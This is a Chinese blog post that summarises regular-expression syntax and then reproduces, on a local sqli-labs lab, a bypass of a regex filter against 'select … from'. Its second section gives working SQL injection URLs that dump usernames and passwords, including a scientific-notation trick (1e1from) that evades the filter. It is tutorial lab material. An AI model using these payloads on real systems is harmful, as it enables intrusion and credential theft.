当前位置:网站首页>正则表达式与绕过案例复现
正则表达式与绕过案例复现
2022-07-26 21:55:00 【Lord Chaser】
一、正则表达式总结
1、正则表达式定义
正则表达式描述了一种字符串匹配的模式,可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。
2、参数
匹配字符
. 匹配任意单个字符,不能匹配空行
[] 匹配指定范围内的任意单个字符
[^] 取反
[:alnum:] 或 [0-9a-zA-Z]
[:alpha:] 或 [a-zA-Z]
[:upper:] 或 [A-Z]
[:lower:] 或 [a-z]
[:blank:] 空白字符(空格和制表符)
[:space:] 水平和垂直的空白字符(比[:blank:]包含的范围广)
[:cntrl:] 不可打印的控制字符(退格、删除、警铃…)
[:digit:] 十进制数字 或[0-9]
[:xdigit:]十六进制数字
[:graph:] 可打印的非空白字符
[:print:] 可打印字符
[:punct:] 标点符号
匹配次数
- 匹配前面的字符任意次,包括0次,贪婪模式:尽可能长的匹配
- .* 任意前面长度的任意字符,不包括0次
- ? 匹配其前面的字符0 或 1次
- + 匹配其前面的字符至少1次
- {n} 匹配前面的字符n次
- {m,n} 匹配前面的字符至少m 次,至多n次
- {,n} 匹配前面的字符至多n次
- {n,} 匹配前面的字符至少n次
位置确定:定位出现的位置
- ^ 行首锚定,用于模式的最左侧
- ^ 行首锚定,用于模式的最左侧
- $ 行尾锚定,用于模式的最右侧
- ^PATTERN$,用于模式匹配整行
- ^$ 空行
- < 或 \b 词首锚定,用于单词模式的左侧
- > 或 \b 词尾锚定;用于单词模式的右侧
- <PATTERN>
分组和后向引用
-分组:() 将一个或多个字符捆绑在一起,当作一个整体进行处理
-分组括号中的模式匹配到的内容会被正则表达式引擎记录于内部的变量中,这些变量的命名方式为: \1, \2, \3, …
后向引用
-引用前面的分组括号中的模式所匹配字符,而非模式本身
\1 表示从左侧起第一个左括号以及与之匹配右括号之间的模式所匹配到的字符
\2 表示从左侧起第2个左括号以及与之匹配右括号之间的模式所匹配到的字符,以此类推
& 表示前面的分组中所有字符
贪婪匹配和非贪婪匹配
**贪婪匹配:**正则表达式通常的行为是匹配尽可能多的字符,比如这个表达式:a.*b,它将会匹配最长的以a开始,以b结束的字符串,如果用它来搜索aabab的话,它会匹配整个字符串aabab
**懒惰匹配:**就是匹配尽可能少的字符,在能使整个匹配成功的前提下使用最少的重复,只要在它后面加上一个问号?即可,例如a.*?b匹配最短的,以a开始,以b结束的字符串,如果把它应用于 aabab的话,它会匹配aab和ab,为什么第一个匹配是aab(第一到第三个字符)而不是ab(第二到第三个字符)?简单地说,因为正则表达式有一条比懒惰/贪婪规则优先级更高的规则,就是:最先开始的匹配拥有最高的优先权
二、绕过案例复现

select\b[\s\S]*\bfrom
此时输入:
http://localhost/Less-1/?id=-1%E2%80%98%20union%20select%201,(select%20group_concat(username,0x3a,password),from%20users),3--+
则出现:
绕过方法:
在from前面输入科学计数法

http://localhost/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(username,0x3a,password),1e1from%20users),3--+

http://localhost/Less-1/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),1e1from%20users--+20
成功绕过
边栏推荐
猜你喜欢

模块8(消息队列存储消息数据的mysql表格)
![[waiting and wakeup of QT multithreaded threads]](/img/9b/fe16926dc126e93f155b0162cc329d.png)
[waiting and wakeup of QT multithreaded threads]

golang中的信号量的实现原理

Instructions for use of light source controller dial switch

JSON字符串转化为JSON对象,获取某个key的值,判断某个key是否存在

Summary of shell related commands

Chapter 15 MySQL user management

Leetcode 122: the best time to buy and sell stocks II
![[IO Development Notes] smart cloud intelligent watering device practice (3) - automatic code generation and transplantation](/img/f6/e23089c473cc72a7d763ff975d8e62.png)
[IO Development Notes] smart cloud intelligent watering device practice (3) - automatic code generation and transplantation

博途PLC输出通道映射FC
随机推荐
基于C语言设计的增量型安全文件系统 SFS
v-model语法糖的实现
Makefile related syntax summary (openc910)
由若干QWidget实现日历文档
推动ARM服务器芯片替代X86,华为、飞腾扛起国产化大旗!
y78.第四章 Prometheus大厂监控体系及实战 -- prometheus的服务发现机制(九)
Those environment configurations and plug-ins of idea
Excel-vba quick start (X. prompt box, inputable pop-up box)
中兴通讯:5G基站在全球发货已超过5万个!
Xiaobai learns MySQL - derived table
Height collapse caused by floating
Systemctl command
Add resource files for the project and pictures for buttons in QT
DTS搭载全新自研内核,突破两地三中心架构的关键技术|腾讯云数据库
【Io开发笔记】机智云智能浇花器实战(1)-基础Demo实现
Financial institution map
[IO Development Notes] smart cloud intelligent watering device practice (1) - Basic demo implementation
Regular expressions and bypass cases
Iptables prevents nmap scanning and enables incremental backup of binlog
Write golang simple C2 remote control based on grpc